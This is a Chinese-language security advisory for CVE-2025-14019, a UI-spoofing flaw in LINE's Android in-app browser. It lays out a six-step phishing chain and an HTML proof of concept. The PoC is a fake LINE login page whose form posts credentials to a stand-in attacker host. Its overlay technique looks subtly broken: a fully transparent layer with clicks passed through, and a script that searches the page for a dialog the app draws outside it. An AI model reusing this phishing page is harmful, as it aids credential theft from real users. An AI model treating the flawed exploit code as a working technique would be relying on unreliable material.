LINE Android客户端内置浏览器UI欺骗漏洞(CVE-2025-14019)

漏洞信息

漏洞编号

CVE-2025-14019

漏洞类型

UI欺骗

CVSS评分

3.4 低危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

LINE client for Android

漏洞概述

CVE-2025-14019是LINE公司发现的Android版LINE客户端中的一个UI欺骗漏洞。该漏洞存在于LINE应用的内置浏览器组件中，影响版本从13.8到15.5。攻击者可以利用特定布局设计，在用户访问恶意网页时遮挡LINE内置浏览器的全屏安全警告提示。由于警告提示被遮挡或隐藏，用户可能无法识别当前正处于钓鱼攻击环境中，从而在不知情的情况下泄露敏感信息（如登录凭证、个人数据等）。此漏洞的CVSS评分为3.4，属于低危级别，需要用户交互才能触发，攻击复杂度较高。攻击者需要诱导用户访问特制的恶意网页才能成功实施攻击。LINE公司已于2025年12月15日披露此漏洞，并建议用户升级到最新版本以修复此安全问题。

技术细节

LINE Android客户端内置了WebView浏览器组件，用于在应用内直接打开网页链接。然而，该浏览器的安全警告机制存在设计缺陷。当用户通过LINE应用内浏览器访问网页时，系统会显示全屏警告提示，告知用户即将离开LINE安全环境。然而，攻击者可以通过精心构造的HTML/CSS布局，使恶意网页的特定元素（如透明或不可见的div层）覆盖在警告提示之上，导致用户无法看到或关闭该警告。用户可能误以为当前仍处于LINE的安全环境中，从而继续与恶意页面进行交互，输入敏感信息或执行危险操作。此漏洞的利用需要满足以下条件：1）攻击者首先需要诱骗用户点击链接访问恶意网页；2）恶意网页必须包含能够遮挡警告提示的特殊布局代码；3）用户需要与被遮挡的页面进行交互才能完成攻击。CVSS向量AV:N/AC:H/PR:N/UI:R表明该漏洞可通过网络远程利用，但需要较高的攻击复杂度和用户交互。

攻击链分析

STEP 1

步骤1：侦察与准备

攻击者首先创建钓鱼页面，包含精心设计的HTML/CSS布局。该布局使用透明或不可见的div层，位置与LINE内置浏览器的安全警告对话框重叠，用于遮挡警告信息。

STEP 2

步骤2：诱导用户访问

攻击者通过钓鱼邮件、恶意链接或其他社交工程手段，诱导LINE Android用户点击链接，在LINE应用内浏览器中打开恶意钓鱼网页。

STEP 3

步骤3：触发安全警告

当用户在LINE内置浏览器中访问恶意网页时，系统会尝试显示全屏安全警告提示，告知用户即将离开LINE的安全环境。

STEP 4

步骤4：UI欺骗与警告遮挡

恶意网页的CSS布局动态定位透明覆盖层，使其遮挡在LINE安全警告对话框之上。用户无法看到警告内容，也无法正常关闭警告或返回安全环境。

STEP 5

步骤5：用户交互与信息窃取

由于警告被遮挡，用户误以为仍处于LINE安全环境中，继续与钓鱼页面交互。攻击者诱骗用户输入敏感信息（如登录凭证、个人数据等），这些信息被发送到攻击者控制的服务器。

STEP 6

步骤6：账户接管或数据泄露

攻击者利用窃取的凭证登录用户LINE账户，窃取私人聊天记录、联系人信息或其他敏感数据，可能进一步实施二次攻击或身份盗窃。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-14019 PoC: UI Spoofing in LINE Android In-App Browser -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>LINE UI Spoofing PoC - CVE-2025-14019</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        
        /* This overlay can obscure the LINE warning dialog */
        .line-warning-obfuscator {
            position: fixed;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            z-index: 999999;
            background: transparent;
            pointer-events: none;
        }
        
        .phishing-container {
            background: white;
            border-radius: 20px;
            padding: 40px;
            max-width: 400px;
            width: 90%;
            box-shadow: 0 20px 60px rgba(0,0,0,0.3);
            position: relative;
            z-index: 1;
        }
        
        .fake-line-header {
            background: #00B900;
            color: white;
            padding: 15px 20px;
            border-radius: 10px 10px 0 0;
            margin: -40px -40px 20px -40px;
            text-align: center;
            font-weight: bold;
        }
        
        .fake-login-form {
            margin-top: 20px;
        }
        
        .fake-input {
            width: 100%;
            padding: 15px;
            margin: 10px 0;
            border: 2px solid #e0e0e0;
            border-radius: 8px;
            font-size: 16px;
            transition: border-color 0.3s;
        }
        
        .fake-input:focus {
            outline: none;
            border-color: #00B900;
        }
        
        .fake-submit-btn {
            width: 100%;
            padding: 15px;
            background: #00B900;
            color: white;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            margin-top: 20px;
            transition: background 0.3s;
        }
        
        .fake-submit-btn:hover {
            background: #009900;
        }
        
        .warning-text {
            color: #ff4444;
            font-size: 12px;
            margin-top: 15px;
            text-align: center;
        }
        
        .obfuscation-layer {
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 300px;
            height: 200px;
            background: rgba(255,255,255,0.01);
            z-index: 999998;
            display: none;
        }
        
        @media screen and (max-width: 480px) {
            .phishing-container {
                padding: 30px 20px;
            }
            .fake-line-header {
                margin: -30px -20px 15px -20px;
                padding: 12px 15px;
            }
        }
    </style>
</head>
<body>
    <!-- Overlay to potentially obscure LINE warning dialog -->
    <div class="line-warning-obfuscator"></div>
    <div class="obfuscation-layer"></div>
    
    <div class="phishing-container">
        <div class="fake-line-header">
            LINE Security Login
        </div>
        
        <h2 style="text-align: center; color: #333; margin-bottom: 10px;">
            Please Verify Your Account
        </h2>
        
        <p style="text-align: center; color: #666; margin-bottom: 20px; font-size: 14px;">
            Your session has expired. Please login again to continue.
        </p>
        
        <form class="fake-login-form" action="https://attacker-controlled-server.com/steal" method="POST">
            <input type="text" class="fake-input" placeholder="Email or LINE ID" required>
            <input type="password" class="fake-input" placeholder="Password" required>
            <button type="submit" class="fake-submit-btn">Login</button>
        </form>
        
        <p class="warning-text">
            ⚠️ This is a PoC for CVE-2025-14019
        </p>
    </div>
    
    <script>
        // Dynamically adjust obfuscation based on LINE warning dialog position
        function adjustObfuscation() {
            const warningDialog = document.querySelector('[class*="warning"], [class*="alert"], [role="alert"]');
            if (warningDialog) {
                const rect = warningDialog.getBoundingClientRect();
                const obfuscator = document.querySelector('.line-warning-obfuscator');
                obfuscator.style.top = rect.top + 'px';
                obfuscator.style.left = rect.left + 'px';
                obfuscator.style.width = rect.width + 'px';
                obfuscator.style.height = rect.height + 'px';
            }
        }
        
        // Monitor for warning dialog appearance
        setInterval(adjustObfuscation, 100);
        
        // Log credentials when submitted (for PoC purposes)
        document.querySelector('.fake-login-form').addEventListener('submit', function(e) {
            e.preventDefault();
            console.log('PoC: Credentials captured');
            alert('PoC: In a real attack, credentials would be sent to attacker server.');
        });
    </script>
</body>
</html>

影响范围

LINE client for Android >= 13.8 且 < 15.5

防御指南

临时缓解措施

用户应立即将LINE Android客户端升级到15.5或更高版本以修复此漏洞。在等待升级期间，用户应避免通过LINE内置浏览器打开任何未知或可疑链接，尤其是来自不信任来源的链接。如必须访问外部链接，建议复制链接后在系统默认浏览器中打开，并仔细核对网址的真实性。同时，启用LINE账户的两步验证功能，增加账户安全性。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2025-14019
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2025-14019
3 Details https://www.cvedetails.com/cve/CVE-2025-14019/
4 VulDB https://vuldb.com/cve/CVE-2025-14019
5 Link https://hackerone.com/reports/3062270